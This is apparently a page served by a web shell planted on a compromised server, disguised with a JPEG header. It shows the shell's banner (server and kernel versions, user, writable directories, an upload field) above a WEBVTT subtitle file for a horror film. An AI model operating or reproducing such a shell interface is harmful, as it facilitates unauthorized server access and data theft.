����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/vidoe.top/upload/subtitle/02-2019/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/html/vidoe.top/upload/subtitle/02-2019/5c62b0e706c96-1549971687.vtt
WEBVTT

1
00:03:16.755 --> 00:03:17.839
Yeah, you're fired.

2
00:03:17.881 --> 00:03:19.674
No.

3
00:03:19.674 --> 00:03:22.510
Hey, crawl back into
The goddamn bottle you live in.

4
00:03:35.941 --> 00:03:37.734
Get the fuck out of here.

5
00:03:37.734 --> 00:03:39.027
You're fired.

6
00:03:44.866 --> 00:03:46.576
Claire.

7
00:03:46.576 --> 00:03:47.369
Oh.
Hi.

8
00:03:47.369 --> 00:03:48.870
How are you, robin?

9
00:03:48.870 --> 00:03:50.080
Good.

10
00:03:55.752 --> 00:03:57.546
Just give me
The goddamn keys.

11
00:03:57.546 --> 00:03:59.381
Hey, you want some!

12
00:04:19.742 --> 00:04:21.281
Let's have a big hand

13
00:04:21.818 --> 00:04:24.388
For the hanford
High school band!

14
00:04:26.400 --> 00:04:27.600
That was great, kids.

15
00:04:28.017 --> 00:04:28.687
Great.

16
00:04:32.015 --> 00:04:33.345
Well...

17
00:04:33.407 --> 00:04:34.907
Everybody...

18
00:04:35.153 --> 00:04:36.553
This day

19
00:04:37.215 --> 00:04:39.345
Has finally arrived.

20
00:04:40.018 --> 00:04:43.278
And you all remember,
As well as I do,

21
00:04:43.474 --> 00:04:46.474
How a few years ago
Everybody was saying

22
00:04:46.713 --> 00:04:50.983
This town would never be
Anything but a farming town...

23
00:04:51.117 --> 00:04:52.237
Trapped in the past.

24
00:04:52.615 --> 00:04:54.195
Enjoying the speech?

25
00:04:54.271 --> 00:04:55.971
Not much.

26
00:04:56.034 --> 00:04:57.234
That's the mayor.

27
00:04:57.599 --> 00:04:58.799
Mayor goodman.

28
00:04:59.262 --> 00:05:00.562
Just a real windbag.

29
00:05:00.866 --> 00:05:02.486
Is that right?

30
00:05:02.517 --> 00:05:04.799
Yeah, I've only been working
For him about a week.

31
00:05:05.026 --> 00:05:06.336
Construction foreman.

32
00:05:06.410 --> 00:05:08.790
I don't think I've ever met a guy

33
00:05:08.915 --> 00:05:10.995
So in love with his own voice.

34
00:05:11.216 --> 00:05:12.326
I know the type.

35
00:05:12.617 --> 00:05:14.417
Ah, he's a typical politician,

36
00:05:14.338 --> 00:05:16.898
Acting like they're doing it for you.

37
00:05:17.012 --> 00:05:18.882
He's got to have a piece of this deal.

38
00:05:19.589 --> 00:05:20.789
He does.

39
00:05:20.898 --> 00:05:21.898
His family owns the land.

40
00:05:22.108 --> 00:05:24.488
An even brighter future

41
00:05:24.513 --> 00:05:26.773
To add to our illustrious past.

42
00:05:32.746 --> 00:05:34.046
See, there you go?

43
00:05:34.219 --> 00:05:35.219
Yep.

44
00:05:41.916 --> 00:05:43.186
You from around here?

45
00:05:43.408 --> 00:05:44.608
Once.

46
00:05:44.943 --> 00:05:45.943
My name's dillon.

47
00:05:46.047 --> 00:05:47.047
Dillon hale.

48
00:05:47.184 --> 00:05:48.184
I'm claire.

49
00:05:48.278 --> 00:05:50.978
It's nice to meet you, dillon.

50
00:05:51.198 --> 00:05:52.598
You got a last name, claire?

51
00:05:52.744 --> 00:05:56.289
Claire.

52
00:05:56.289 --> 00:05:57.582
Hello dad.

53
00:05:57.582 --> 00:05:59.709
Claire goodman.

54
00:05:59.709 --> 00:06:01.086
Excuse me.

55
00:06:02.420 --> 00:06:06.091
Well, didn't know
You were coming back

56
00:06:06.091 --> 00:06:07.926
I wanted to surprise you.

57
00:06:07.926 --> 00:06:09.219
You certainly have.

58
00:06:09.219 --> 00:06:11.346
Hell of a long time

59
00:06:11.346 --> 00:06:14.015
To go without a call or a letter.

60
00:06:14.015 --> 00:06:16.476
Well, you've been
Quite busy in my absence.

61
00:06:16.476 --> 00:06:17.811
Say, hale.

62
00:06:20.605 --> 00:06:23.108
I heard you were having some problem
With that thompson boy.

63
00:06:23.108 --> 00:06:26.069
Well, not anymore...
I just fired him.

64
00:06:26.069 --> 00:06:28.738
You know, that boy's
Daddy and I

65
00:06:28.738 --> 00:06:30.115
Are good friends...

66
00:06:30.115 --> 00:06:32.159
If you undertand me.

67
00:06:32.159 --> 00:06:34.453
So, I think the boy deserves a second chance.

68
00:06:34.453 --> 00:06:41.293
Don't you?
Sure, ok.

69
00:06:41.293 --> 00:06:43.795
Yeah...

70
00:06:43.795 --> 00:06:44.754
Goodman.

71
00:06:46.548 --> 00:06:47.883
Nice to meet you, dillon.

72
00:06:47.883 --> 00:06:50.177
Oh, yeah.

73
00:06:50.177 --> 00:06:52.179
Just got back
Into town.

74
00:06:52.179 --> 00:06:54.014
Don't you think
It's a little early

75
00:06:54.014 --> 00:06:55.682
To start making new friends?

76
00:06:55.682 --> 00:06:57.017
I just talked to him.

77
00:06:57.017 --> 00:06:59.644
- about what?
- about you.

78
00:06:59.644 --> 00:07:02.731
I know you when it
Comes to men, claire.

79
00:07:02.731 --> 00:07:04.608
Don't you goddamn
Embarrass me.

80
00:07:04.608 --> 00:07:05.734
Embarras?

81
00:07:05.734 --> 00:07:06.777
You know what I mean.

82
00:07:06.777 --> 00:07:08.403
Well, would it
Embarrass you

83
00:07:08.403 --> 00:07:09.988
If I invited him
To dinner tonight?

84
00:07:09.988 --> 00:07:11.114
Because I did.

85
00:07:11.114 --> 00:07:14.326
Ah, you... You just...

86
00:07:14.326 --> 00:07:17.078
You just never do
Stop testing me, do you, girl?

87
00:07:17.078 --> 00:07:18.622
Not until you pass.

88
00:07:26.797 --> 00:07:29.216
Hey, dillon!
Wait up.

89
00:07:31.093 --> 00:07:33.303
So why didn't you
Tell me who you were.

90
00:07:33.303 --> 00:07:35.305
I did.

91
00:07:35.305 --> 00:07:38.266
I mean before I got my foot
Crammed down my mouth.

92
00:07:38.266 --> 00:07:40.811
And miss the benefit of your
Brilliant political insights?

93
00:07:40.811 --> 00:07:43.438
Did you tell your dad
What I said?

94
00:07:43.438 --> 00:07:45.148
Yeah, and you now what he said?

95
00:07:45.148 --> 00:07:47.025
You're fired.

96
00:07:58.870 --> 00:08:01.415
I was just teasing before.

97
00:08:01.415 --> 00:08:03.417
Mm-hmm.

98
00:08:03.417 --> 00:08:06.753
Actually, uh, my father
Really likes you.

99
00:08:06.753 --> 00:08:09.131
He wanted me to invite
You to dinner tonight.

100
00:08:09.131 --> 00:08:12.259
Really.
Uh-huh.

101
00:08:12.259 --> 00:08:13.844
He respects you.

102
00:08:13.844 --> 00:08:16.888
He loves anyone
Who's a good kiss-ass.

103
00:08:31.820 --> 00:08:33.822
Hey, danny, did you get
Your job back?

104
00:08:33.822 --> 00:08:35.866
Shit, yeah.
That fucker, dillon,

105
00:08:35.866 --> 00:08:37.743
My old man
Will have his ass.

106
00:08:37.743 --> 00:08:39.870
- know why?
- ha ha, why?

107
00:08:39.870 --> 00:08:41.455
'cause he don't
Mess around, boy.

108
00:08:41.455 --> 00:08:43.081
Come on. Whoooo!

109
00:08:43.081 --> 00:08:45.167
Yeah! Ha ha.

110
00:08:49.046 --> 00:08:53.467
Come on, man.
Gime me a beer.

111
00:08:55.802 --> 00:08:58.221
Come on, come on.

112
00:09:07.147 --> 00:09:10.484
Won't you listen
O a little bit of my soul...

113
00:09:18.325 --> 00:09:21.203
I want to take you,
Baby, far and wild,

114
00:09:21.203 --> 00:09:28.585
Love you in the
Spirits' style

115
00:09:35.342 --> 00:09:39.888
I love when you
Talk so deadly...

116
00:09:39.888 --> 00:09:43.517
So deadly...

117
00:09:55.404 --> 00:09:58.532
Shit!

118
00:09:58.532 --> 00:10:00.075
Ain't nothing
Ut the dead no more...

119
00:10:17.509 --> 00:10:18.760
Let's bail.

120
00:10:18.760 --> 00:10:20.262
Shouldn't we put it back?

121
00:10:20.262 --> 00:10:21.430
Let dillon do it, dickhead.

122
00:10:23.098 --> 00:10:24.391
Let's go!

123
00:10:26.935 --> 00:10:29.229
I'll be there in a minute.

124
00:10:29.229 --> 00:10:30.647
Nature calls.

125
00:10:36.903 --> 00:10:39.906
Hope you don't mind a little, uh,
Irrigation, dude?

126
00:11:17.444 --> 00:11:19.780
Get out of the way!

127
00:11:31.375 --> 00:11:34.002
Oh! Oh, my god!

128
00:11:52.562 --> 00:11:54.231
Dude, what's up?

129
00:11:54.231 --> 00:11:56.066
It--it--
It was all around me!

130
00:11:56.066 --> 00:11:58.986
- did--did you see it?
- you're wasted, man

131
00:12:00.445 --> 00:12:02.281
Let's get the fuck
Out of here!

132
00:12:02.281 --> 00:12:03.198
God.

133
00:12:04.825 --> 00:12:06.034
Have another beer.

134
00:12:36.648 --> 00:12:37.983
Hey.

135
00:12:37.983 --> 00:12:39.735
You showed up.

136
00:12:39.735 --> 00:12:41.862
I'm flattered.

137
00:12:41.862 --> 00:12:44.364
I'm only here to impress
Your father, remeber?

138
00:12:44.364 --> 00:12:45.657
Come on in.

139
00:12:47.993 --> 00:12:49.286
By the way,

140
00:12:49.286 --> 00:12:51.288
You look beautiful.

141
00:12:51.288 --> 00:12:52.497
So do you.

142
00:12:55.876 --> 00:12:57.878
Let me introduce you
To my family.

143
00:12:57.878 --> 00:12:59.922
This is uncle george.

144
00:12:59.922 --> 00:13:01.715
How you doing?

145
00:13:01.715 --> 00:13:03.425
Uncle george farmed our land all these years.

146
00:13:03.425 --> 00:13:04.468
Hey!

147
00:13:06.970 --> 00:13:07.554
This boy looks like
He needs a drink.

148
00:13:08.847 --> 00:13:11.350
As does anybody who works
For my big brother.

149
00:13:11.350 --> 00:13:13.393
Ha ha, I hear you.

150
00:13:13.393 --> 00:13:15.979
Uh, this is my uncle thaddeus.

151
00:13:17.064 --> 00:13:19.608
- how you doing?
- his wife barbara.

152
00:13:19.608 --> 00:13:20.901
Hi, nice to meet you.

153
00:13:20.901 --> 00:13:22.361
Hello.

154
00:13:22.361 --> 00:13:23.070
Our daughter, stephanie.

155
00:13:25.447 --> 00:13:27.241
Hi.

156
00:13:27.241 --> 00:13:29.076
Hope to see you in church.

157
00:13:29.076 --> 00:13:29.910
Yea... Yes, sir.

158
00:13:29.910 --> 00:13:32.412
Dillon.

159
00:13:32.412 --> 00:13:34.081
This is my uncle frank.

160
00:13:34.081 --> 00:13:35.123
He's our town sheriff.

161
00:13:35.123 --> 00:13:36.416
Here we go.

162
00:13:36.416 --> 00:13:37.459
Uncle frank, dillon.

163
00:13:37.459 --> 00:13:38.585
How's it going?

164
00:13:38.585 --> 00:13:40.045
This is toby and martha

165
00:13:40.045 --> 00:13:41.088
And his wife, lorraine.

166
00:13:41.088 --> 00:13:42.798
Hi there.

167
00:13:42.798 --> 00:13:45.676
Glad I got a chance to meet ou.

168
00:13:45.676 --> 00:13:48.762
I like to know the folks hanging
Around my town.

169
00:13:48.762 --> 00:13:50.931
Why don't we
Have a drink

170
00:13:50.931 --> 00:13:52.808
Before he arrests you
For loitering?

171
00:13:52.808 --> 00:13:54.017
Sounds like a good idea.

172
00:13:58.730 --> 00:14:00.440
Let us pray.

173
00:14:02.568 --> 00:14:05.070
To give thanks

174
00:14:05.070 --> 00:14:09.116
That we undeserved
Spoilers of this planet

175
00:14:09.116 --> 00:14:13.495
Can enjoy this rich bounty.

176
00:14:13.495 --> 00:14:15.622
Though others may be cold,

177
00:14:15.622 --> 00:14:19.168
Hugry, homeless, and diseased...

178
00:14:19.168 --> 00:14:23.172
We must remember
In the midst of this richness

179
00:14:23.172 --> 00:14:27.092
That the appearance of goodness

180
00:14:27.092 --> 00:14:31.972
Is not always what it seems.

181
00:14:31.972 --> 00:14:32.639
The scriptures warn us

182
00:14:32.639 --> 00:14:36.185
That beneath the shining skin of th ripe fruit

183
00:14:36.185 --> 00:14:39.646
Lies pestilence,
Vermin, and rot.

184
00:14:39.646 --> 00:14:42.274
So, lord,

185
00:14:42.274 --> 00:14:43.901
We thank you
For you kidness

186
00:14:43.901 --> 00:14:45.277
In giving us,

187
00:14:45.277 --> 00:14:47.112
Undeserved
As w may be,

188
00:14:47.112 --> 00:14:48.697
This fine feast.

189
00:14:49.907 --> 00:14:51.783
Amen.

190
00:14:51.783 --> 00:14:53.785
Amen.
Amen.

191
00:15:08.383 --> 00:15:11.595
Ah, is that, uh,
Fresh corn?

192
00:15:11.595 --> 00:15:13.263
It's actually corn
From uncle george's farm.

193
00:15:13.263 --> 00:15:14.890
Ah.

194
00:15:14.890 --> 00:15:17.100
But this is the last year
We'll be having this.

195
00:15:17.100 --> 00:15:18.602
Claire.

196
00:15:18.602 --> 00:15:20.896
I'm just saying
I'll miss it, that's all.

197
00:15:20.896 --> 00:15:22.773
Those crops have been amazing.

198
00:15:22.773 --> 00:15:25.651
Year in, year out,
It's the best field in the county,

199
00:15:25.651 --> 00:15:26.735
Despite droughts, or freeze

200
00:15:26.735 --> 00:15:28.946
Claire, if you're so damn sentimental,

201
00:15:28.946 --> 00:15:34.368
Where have you been?
- come on, come on, guys.We'll all miss the farm.

202
00:15:34.368 --> 00:15:36.537
But, uh, it's worth it.

203
00:15:36.537 --> 00:15:38.413
And it's great having claire back.

204
00:15:38.413 --> 00:15:40.791
Yeah, so let's cut the crap

205
00:15:40.791 --> 00:15:42.751
And start stuffing our faces.

206
00:17:01.997 --> 00:17:04.291
O.K., jack, let's have
Our next contestant.

207
00:18:01.056 --> 00:18:02.391
Going out?

208
00:18:02.391 --> 00:18:03.892
I told uncle george

209
00:18:03.892 --> 00:18:06.270
I'd stop by before it got late.

210
00:18:06.270 --> 00:18:07.479
Is that true?

211
00:18:07.479 --> 00:18:08.522
Jesus, dad.

212
00:18:39.178 --> 00:18:40.804
Son of a bitch!

213
00:18:58.655 --> 00:19:01.825
Ahh, there you are.

214
00:19:03.535 --> 00:19:05.496
Smart son of a bitc, huh?

215
00:19:24.181 --> 00:19:25.891
I know you' re in here, asshole!

216
00:19:44.660 --> 00:19:46.954
All right, you son of a bitch.

217
00:20:37.171 --> 00:20:38.589
What the...

218
00:21:28.138 --> 00:21:29.598
Oh, no!

219
00:22:02.256 --> 00:22:03.591
Uncle george!

220
00:22:50.054 --> 00:22:51.805
I just don't understand

221
00:22:51.805 --> 00:22:54.350
Why george would pick
A time like that

222
00:22:54.350 --> 00:22:56.727
To work on his damn machine.

223
00:22:56.727 --> 00:22:59.355
Frank, george was drunk.

224
00:22:59.355 --> 00:23:01.273
He'd been drinking like that

225
00:23:01.273 --> 00:23:02.816
Ever since dorothy died.

226
00:23:02.816 --> 00:23:05.110
I mean, an accident like this

227
00:23:05.110 --> 00:23:06.862
Was bound to happen.

228
00:23:06.862 --> 00:23:08.572
Yeah.
I guess you're right.

229
00:23:08.572 --> 00:23:11.158
Uncle frank,
I have something to tell you.

230
00:23:11.158 --> 00:23:13.661
Going into the barn,
I saw something.

231
00:23:13.661 --> 00:23:14.995
What?

232
00:23:14.995 --> 00:23:16.455
I'm not sure.

233
00:23:16.455 --> 00:23:18.749
I thought it was a man

234
00:23:18.749 --> 00:23:20.209
Standing on
The cornfield's edge.

235
00:23:20.209 --> 00:23:22.169
What did he look like?

236
00:23:22.169 --> 00:23:25.339
He was tall.
He was wearing

237
00:23:25.339 --> 00:23:27.967
Like some
Bizarre costume,

238
00:23:27.967 --> 00:23:31.554
And then it was like
He wasn't a man.

239
00:23:31.554 --> 00:23:34.014
What do you mean...

240
00:23:34.014 --> 00:23:36.308
Wasn't a man?

241
00:23:36.308 --> 00:23:39.270
I don't know.
He moved so strange.

242
00:23:39.270 --> 00:23:44.233
And I was looking at him,
And then he was just gone.

243
00:23:44.233 --> 00:23:46.318
Claire, you've been through a lot.

244
00:23:46.318 --> 00:23:50.281
You need some rest.
Let's just get on...

245
00:23:50.281 --> 00:23:51.532
Frank.

246
00:23:53.576 --> 00:23:55.119
Frank?

247
00:23:57.454 --> 00:23:59.165
Just get out to the car.

248
00:23:59.165 --> 00:24:01.709
Come on.
Let's go.

249
00:24:09.008 --> 00:24:11.427
What the hell
You trying to do?

250
00:24:11.427 --> 00:24:12.845
She's been through a lot.

251
00:24:12.845 --> 00:24:14.346
I'm the sheriff, bill!

252
00:24:14.346 --> 00:24:15.931
She might've seen something.

253
00:24:15.931 --> 00:24:18.225
I got to check it out.
I'm a cop.

254
00:24:18.225 --> 00:24:19.643
Frank, don't!

255
00:24:19.643 --> 00:24:21.687
I know how you feel.

256
00:24:21.687 --> 00:24:24.148
You want to believe
There's something you can do.

257
00:24:24.148 --> 00:24:25.900
But being a good cop

258
00:24:25.900 --> 00:24:27.610
Isn't going to bring
George back.

259
00:24:30.279 --> 00:24:31.947
It was an accident.

260
00:24:31.947 --> 00:24:34.158
What the hell else
Could it be?

261
00:24:42.625 --> 00:24:43.959
Oh, lord.

262
00:24:45.419 --> 00:24:46.587
Sweet jesus.

263
00:24:56.138 --> 00:24:58.808
God protect us.

264
00:25:38.180 --> 00:25:39.598
How do you feel?

265
00:25:39.598 --> 00:25:41.350
Groggy.

266
00:25:41.350 --> 00:25:44.562
That pill you gave me
Really knocked me out.

267
00:25:46.063 --> 00:25:47.565
Oh, god.

268
00:25:47.565 --> 00:25:49.775
I've been out all day.

269
00:25:49.775 --> 00:25:51.277
That's good.
Needed the rest.

270
00:25:53.571 --> 00:25:55.322
Sweetheart, look,

271
00:25:55.322 --> 00:25:57.616
About what you thought you saw,

272
00:25:57.616 --> 00:25:59.326
It's impossible.

273
00:25:59.326 --> 00:26:00.828
You were just upset.

274
00:26:00.828 --> 00:26:02.204
Your mind was
Playing tricks on you.

275
00:26:02.204 --> 00:26:04.707
I know I saw something.

276
00:26:04.707 --> 00:26:07.126
Nothing can bring george back.

277
00:26:07.126 --> 00:26:08.669
What if it wasn't an accident?

278
00:26:08.669 --> 00:26:10.087
It was.

279
00:26:10.087 --> 00:26:11.964
You don't know that.

280
00:26:11.964 --> 00:26:13.966
You're worried about me
Embarrassing you.

281
00:26:13.966 --> 00:26:16.010
It's not just you.

282
00:26:16.010 --> 00:26:18.637
This whole town is so concerned
With appearances,

283
00:26:18.637 --> 00:26:21.348
Like they're protecting some
Nasty little secret.

284
00:26:21.348 --> 00:26:23.726
I don't know what you're
Talking about, girl.

285
00:26:26.771 --> 00:26:29.398
Claire, don't go out.

286
00:26:29.398 --> 00:26:32.818
Right now I think I just
Need some fresh air.

287
00:26:32.818 --> 00:26:34.195
Sweetheart, I...

288
00:26:34.195 --> 00:26:36.363
I don't think you ought
To go out alone.

289
00:26:36.363 --> 00:26:38.407
Why? It's perfectly safe...

290
00:26:38.407 --> 00:26:41.118
Unless I have an accident.

291
00:26:41.118 --> 00:26:42.453
Right?

292
00:27:28.374 --> 00:27:30.292
Aah! Dillon.

293
00:27:30.292 --> 00:27:32.420
You look like
You saw a ghost.

294
00:27:32.420 --> 00:27:37.299
Were you back there following me?
No, wait, somebody's following you?

295
00:27:37.299 --> 00:27:39.385
I don't see anybody.

296
00:27:39.385 --> 00:27:41.095
I think I need a drink.

297
00:27:54.233 --> 00:27:55.443
Hey, danny.

298
00:27:57.153 --> 00:27:59.530
Hey, what?

299
00:27:59.530 --> 00:28:00.906
Look who just walked in.

300
00:28:04.702 --> 00:28:06.328
Hey, claire.

301
00:28:08.748 --> 00:28:10.041
Hey, dillon.

302
00:28:10.041 --> 00:28:12.084
You looking for me?

303
00:28:12.084 --> 00:28:14.587
Want to maybe finish what you
Started yesterday?

304
00:28:14.587 --> 00:28:16.881
No, no, but you know,

305
00:28:16.881 --> 00:28:19.592
Someone was mixing it up
With one of my graders.

306
00:28:19.592 --> 00:28:21.552
Left it in the field.

307
00:28:21.552 --> 00:28:24.597
You don't know anything
About that, do you?

308
00:28:24.597 --> 00:28:25.765
Are you accusing me?

309
00:28:28.768 --> 00:28:30.269
Hmm?

310
00:28:32.146 --> 00:28:36.192
Jesus, what is the legal drinking age
Around here, 10?

311
00:28:42.281 --> 00:28:44.158
Let's go, man.

312
00:28:44.158 --> 00:28:45.785
Hey!

313
00:28:45.785 --> 00:28:47.328
My uncle's dead!

314
00:28:47.328 --> 00:28:49.038
Show some respect.

315
00:28:50.623 --> 00:28:51.999
Claire.

316
00:28:51.999 --> 00:28:53.125
Come on.
Come on.

317
00:28:55.961 --> 00:28:57.797
See you around, dillon.

318
00:28:57.797 --> 00:29:00.299
Oh, yeah, you're going
To see me around.

319
00:29:00.299 --> 00:29:01.926
Count on it.

320
00:29:01.926 --> 00:29:03.219
I'm counting on it.

321
00:29:29.912 --> 00:29:31.205
Are you all right?

322
00:29:31.205 --> 00:29:33.374
Yes.

323
00:29:33.374 --> 00:29:36.502
- I'll see you in a while.
- where are you going?

324
00:29:36.502 --> 00:29:39.046
To the church.

325
00:29:39.046 --> 00:29:41.340
I need to make arrangements.

326
00:29:41.340 --> 00:29:43.092
Poor george.

327
00:29:44.969 --> 00:29:47.054
Funeral services.

328
00:29:48.055 --> 00:29:50.057
Stephanie...

329
00:29:50.057 --> 00:29:53.185
Would you like to come
To church with me?

330
00:29:53.185 --> 00:29:54.812
Um, no. Thanks, dad.

331
00:29:54.812 --> 00:29:57.189
I'm going to go to bed.

332
00:29:57.189 --> 00:29:58.733
I'm really tired.

333
00:29:58.733 --> 00:30:00.610
Come over here, child.

334
00:30:06.907 --> 00:30:10.870
This arrived in the mail for you today.

335
00:30:10.870 --> 00:30:14.290
I am not too happy about this.

336
00:30:15.708 --> 00:30:17.835
We need to have a talk.

337
00:30:21.130 --> 00:30:23.507
Good night, father.

338
00:30:23.507 --> 00:30:24.884
Good night.

339
00:30:54.580 --> 00:30:57.124
Oh, yes.

340
00:31:15.351 --> 00:31:19.063
Thaddeus?

341
00:31:21.357 --> 00:31:24.193
Thaddeus...

342
00:31:31.242 --> 00:31:32.785
Come to me.

343
00:31:42.795 --> 00:31:45.006
Come to me, thaddeus.

344
00:31:49.302 --> 00:31:53.848
Ha ha!

345
00:31:53.848 --> 00:31:55.099
I'm waiting for you.

346
00:31:59.979 --> 00:32:01.647
Who's there?

347
00:32:01.647 --> 00:32:03.149
You know who I am.

348
00:32:03.149 --> 00:32:04.400
Show yourself.

349
00:32:04.400 --> 00:32:06.903
You want to see me?

350
00:32:06.903 --> 00:32:08.654
This is the house of god.

351
00:32:11.073 --> 00:32:14.452
This is not the place for fornication.

352
00:32:18.456 --> 00:32:22.543
Faster, thaddeus.

353
00:32:22.543 --> 00:32:26.964
You think you can tempt me?

354
00:32:47.693 --> 00:32:49.779
Sweet jesus,

355
00:32:49.779 --> 00:32:51.989
Forgive me, lord,

356
00:32:51.989 --> 00:32:57.703
For disgracing and dishonoring
This holy place.

357
00:32:57.703 --> 00:32:59.789
Sweet jesus.

358
00:33:18.140 --> 00:33:19.684
It's true.

359
00:33:19.684 --> 00:33:21.853
Sins of the father.

360
00:33:21.853 --> 00:33:23.479
What do you want from me?

361
00:33:23.479 --> 00:33:26.691
What?
Speak!

362
00:33:28.442 --> 00:33:30.319
Speak.

363
00:33:30.319 --> 00:33:33.489
Oh, jesus, help me!

364
00:33:33.489 --> 00:33:35.241
Holy father.

365
00:33:35.241 --> 00:33:37.201
The lord is my shepherd,

366
00:33:37.201 --> 00:33:38.411
I shall not want.

367
00:33:38.411 --> 00:33:41.122
He maketh me
To lie down in...

368
00:33:41.122 --> 00:33:42.623
Shall not want.

369
00:33:42.623 --> 00:33:47.879
I shall not perish.
Where is my book?

370
00:33:47.879 --> 00:33:50.339
Help me.

371
00:33:50.339 --> 00:33:56.137
Speak now or...

372
00:33:56.137 --> 00:33:58.639
Never.

373
00:34:06.522 --> 00:34:08.483
No!

374
00:35:05.790 --> 00:35:08.334
Oh.

375
00:35:08.334 --> 00:35:09.460
Shall we sit?

376
00:35:23.599 --> 00:35:25.643
Thanks for helping me
Get through night.

377
00:35:27.603 --> 00:35:30.148
Well, you know, the, um...

378
00:35:30.148 --> 00:35:37.488
Night's not exactly over.
I don't even know you yet.

379
00:35:37.488 --> 00:35:40.283
Tell me what you want from life.

380
00:35:40.283 --> 00:35:42.785
I'm looking for what
Everybody else is--

381
00:35:42.785 --> 00:35:45.288
Somebody who'll be there
In the morning.

382
00:35:45.288 --> 00:35:47.457
That shouldn't be too hard to find.

383
00:35:47.457 --> 00:35:49.167
You'd be surprised.

384
00:35:49.167 --> 00:35:53.129
I'm just not the kind of guy
That women stick around with.

385
00:35:53.129 --> 00:35:54.547
You know...

386
00:35:54.547 --> 00:35:57.383
They use me,
Then they lose me.

387
00:35:57.383 --> 00:36:00.011
Oh, from what I hear.

388
00:36:00.011 --> 00:36:01.763
That's what every guy
Wants from life.

389
00:36:01.763 --> 00:36:04.098
I guess I'm not every guy.

390
00:36:04.098 --> 00:36:05.349
No.

391
00:36:06.893 --> 00:36:08.394
You're not.

392
00:36:12.273 --> 00:36:14.734
Lucky thing for you
I came into town.

393
00:36:14.734 --> 00:36:15.902
Really?

394
00:36:15.902 --> 00:36:17.445
How lucky?

395
00:36:17.445 --> 00:36:19.739
I haven't decided yet.

396
00:36:19.739 --> 00:36:22.158
How long does it
Usually take you?

397
00:36:22.158 --> 00:36:23.659
Depends on the guy.

398
00:36:35.755 --> 00:36:37.256
O.K.

399
00:36:37.256 --> 00:36:40.176
I've made up my mind.

400
00:36:50.728 --> 00:36:53.106
No.

401
00:36:56.734 --> 00:36:57.902
Don't.

402
00:36:59.195 --> 00:37:00.321
Stop.

403
00:37:02.740 --> 00:37:03.908
I said stop!

404
00:37:05.159 --> 00:37:06.202
Why?

405
00:37:08.162 --> 00:37:12.583
Because my mom
Is still awake, you idiot.

406
00:37:12.583 --> 00:37:14.043
It gets you hot,
Doesn't it?

407
00:37:28.391 --> 00:37:30.101
Let's go out.

408
00:37:30.101 --> 00:37:32.854
Someplace where
No one can hear us.

409
00:37:32.854 --> 00:37:38.359
Someplace romantic.
I guess that'd be ok.

410
00:37:47.869 --> 00:37:49.954
You got a couple bucks
For beers?

411
00:37:49.954 --> 00:37:51.581
Shut up.

412
00:37:51.581 --> 00:37:53.249
My mother's going to hear us.

413
00:38:27.742 --> 00:38:29.577
Sit tight, babe.

414
00:38:29.577 --> 00:38:32.997
I got to get me
A tall cool one.

415
00:38:32.997 --> 00:38:35.500
I thought that's what I was.

416
00:38:35.500 --> 00:38:37.335
No, you're the short hot one.

417
00:38:42.048 --> 00:38:44.092
You're such a pig!

418
00:39:11.953 --> 00:39:14.747
Oh!

419
00:39:33.516 --> 00:39:35.476
It's about time you got back.

420
00:39:46.904 --> 00:39:54.537
You will cleanse my seed.

421
00:40:17.518 --> 00:40:18.895
God.

422
00:40:18.895 --> 00:40:21.356
What the fuck?

423
00:40:36.704 --> 00:40:38.164
Steph.

424
00:40:48.049 --> 00:40:49.801
Danny.

425
00:40:49.801 --> 00:40:50.593
What's happening?

426
00:40:50.593 --> 00:40:52.053
Danny.

427
00:40:52.053 --> 00:40:57.892
What?

428
00:41:24.836 --> 00:41:26.254
God!

429
00:41:53.114 --> 00:41:54.866
Danny!

430
00:42:36.157 --> 00:42:37.408
Hey!

431
00:42:41.246 --> 00:42:42.872
Hey!

432
00:42:51.256 --> 00:42:52.549
Jesus christ.

433
00:42:53.591 --> 00:42:54.759
Jesus christ.

434
00:42:57.345 --> 00:42:58.429
Jesus christ.

435
00:43:03.101 --> 00:43:06.020
Fuck.
Jesus.

436
00:43:14.237 --> 00:43:18.158
Well, hey, there.

437
00:43:22.912 --> 00:43:25.874
Can't seem
To find the body.

438
00:43:25.874 --> 00:43:29.002
Danny thompson's van
Was found with blood all over it.

439
00:43:29.002 --> 00:43:30.628
His body was torn apart

440
00:43:30.628 --> 00:43:32.755
Like something inhuman gotten hold of him.

441
00:43:32.755 --> 00:43:34.674
This is out of control.

442
00:43:34.674 --> 00:43:36.384
Damn right.
Two, maybe three murders

443
00:43:36.384 --> 00:43:38.219
In the last two nights.

444
00:43:38.219 --> 00:43:40.847
It's not being done
By a homeless man.

445
00:43:40.847 --> 00:43:42.891
Not by a man at all.

446
00:43:42.891 --> 00:43:44.559
Get ahold of yourself.

447
00:43:44.559 --> 00:43:46.227
You're sounding like thaddeus.

448
00:43:46.227 --> 00:43:49.272
I don't care.
I'm trying to do my job.

449
00:43:49.272 --> 00:43:51.941
Then stop listening
To ghost stories.

450
00:43:51.941 --> 00:43:54.903
Go after the obvious human suspect.

451
00:43:54.903 --> 00:43:58.198
Who would that be?
That'd be dillon hale.

452
00:43:58.198 --> 00:44:01.451
You saw the fight he had with danny yesterday.

453
00:44:01.451 --> 00:44:03.620
Ben tells me they
Damn near got into it

454
00:44:03.620 --> 00:44:05.121
Tonight at the tavern.

455
00:44:05.121 --> 00:44:07.582
That's real convincing
Evidence, isn't it?

456
00:44:11.169 --> 00:44:13.463
Frank, sit down.

457
00:44:23.264 --> 00:44:26.935
As always, let me
Spell it out for you.

458
00:44:26.935 --> 00:44:28.603
You're the sheriff here

459
00:44:28.603 --> 00:44:31.815
Because I'm damn mayor.

460
00:44:31.815 --> 00:44:34.984
Now I'm about to close
The biggest land deal

461
00:44:34.984 --> 00:44:36.945
In this town's history,

462
00:44:36.945 --> 00:44:38.655
And we can't afford

463
00:44:38.655 --> 00:44:40.657
To look like a bunch of hicks

464
00:44:40.657 --> 00:44:42.575
Letting murderers
Run around loose

465
00:44:42.575 --> 00:44:46.913
Or monsters, so you do your damn job,
Little brother.

466
00:44:46.913 --> 00:44:57.757
You arrest the son of a bitch and close the case.
You know what it sounds like to me, big brother?

467
